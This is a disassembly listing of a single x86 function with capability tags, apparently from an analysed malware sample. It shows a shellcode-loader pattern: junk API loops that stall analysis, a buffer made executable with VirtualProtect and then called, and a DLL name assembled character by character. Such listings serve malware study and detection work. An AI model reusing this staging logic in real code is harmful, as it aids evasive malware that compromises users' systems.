Function at 0x4254c0
Capabilities:
Allocate or change rwx memory
Connect pipe
Execute shellcode via indirect call
Get common file path
Get disk information
Manipulate console buffer
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2108
call fcn.00411160
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d187
jge 0x4254f6
push 0
push 0
push 0
call edi
cmp dword [0x7b33c4], 0x6fb
jne 0x42550a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9c8514
jle 0x425524
cmp ebp, 0xc0e54c
je 0x425524
cmp dword [esp + 0x4c], 0x9266ee0
jne 0x42552f
inc esi
cmp esi, 0x7e59b
jl 0x4254e6
jmp 0x42554d
cmp dword [0x7b33c4], 0x28
jne 0x42554d
push 0x403f2c
push 0x403f64
push 0x403f70
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x7b33c4], 0xcf8
jne 0x425576
push 0
push 0
call fcn.0041168a
add esp, 8
lea eax, [esp + 0x68]
push eax
call fcn.00405620
push 0
call fcn.004079b0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
xor esi, esi
cmp esi, 0x408
jne 0x425597
mov eax, 0x5d1
add dword [0x7b33c4], eax
cmp dword [0x7b33c4], 0xca3
jne 0x4255ca
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push 0x404020
push ecx
mov dword [esp + 0x28], ecx
call edi
push 0
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x425584
mov edx, dword [0x7b33c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x434414], eax
mov eax, dword [0x7b33c4]
xor esi, esi
test eax, eax
je 0x4256bd
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
cmp eax, 0xfe
jne 0x42566c
push 0
lea eax, [esp + 0x91c]
push eax
call edi
push 0
call ebx
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x124]
push edx
push ecx
mov dword [esp + 0x28], ecx
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x404050
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.00424f80
mov eax, dword [0x7b33c4]
cmp eax, 0x29
jne 0x4256b4
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0
push 0
lea edx, [esp + 0x120]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x7b33c4]
inc esi
cmp esi, eax
jb 0x425608
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x9682ab
cmp eax, 3
jne 0x4256e0
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7b33c4]
dec edi
jne 0x4256c8
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x14], 0x25887
jmp 0x425710
mov dword [0x7b33c0], 0xabebc05c
cmp eax, 0x222
jne 0x425747
push 0x40405c
call esi
push 0
lea eax, [esp + 0x11c]
push eax
call edi
push 0
push 0
call ebp
push 0
push 0
push 0
call ebx
mov eax, dword [0x7b33c4]
dec dword [esp + 0x14]
jne 0x425710
mov edx, dword [0x434414]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x42f680], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004252a0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
xor esi, esi
cmp dword [0x7b33c4], 0xba
jne 0x4257a7
lea eax, [esp + 0x18]
push eax
call edi
lea ecx, [esp + 0x40]
push ecx
call ebx
push 0x40406c
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x4257ca
mov eax, 0x4f0c
add dword [0x434414], eax
inc esi
cmp esi, 0x1605a
jl 0x425782
mov eax, 0x6d
mov word [0x7b33ce], ax
mov eax, 0x6c
mov word [0x7b33dc], ax
mov edx, 0x69
xor eax, eax
push 0x7b33c8
mov dword [0x7b33d8], 0x6c0064
mov dword [0x7b33d4], 0x2e0032
mov word [0x7b33cc], dx
mov dword [0x7b33c8], 0x73006d
mov word [0x7b33de], ax
mov dword [0x7b33d0], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b33ca], dx
mov word [0x7b33ce], ax
xor eax, eax
cmp dword [0x7b33c4], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b33d2], cx
mov word [0x7b33de], ax
mov word [0x7b33d0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x7b33d8], 0x6c0064
mov word [0x7b33cc], ax
mov word [0x7b33c8], cx
mov word [0x7b33dc], dx
mov dword [0x7b33d4], 0x2e0032
jne 0x4259a1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x918]
push edx
push 0x4040a0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [esp + 0xd1c]
push ecx
push 0x4040e0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x1524]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x40411c
call esi
push 0
lea eax, [esp + 0x191c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x404144
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret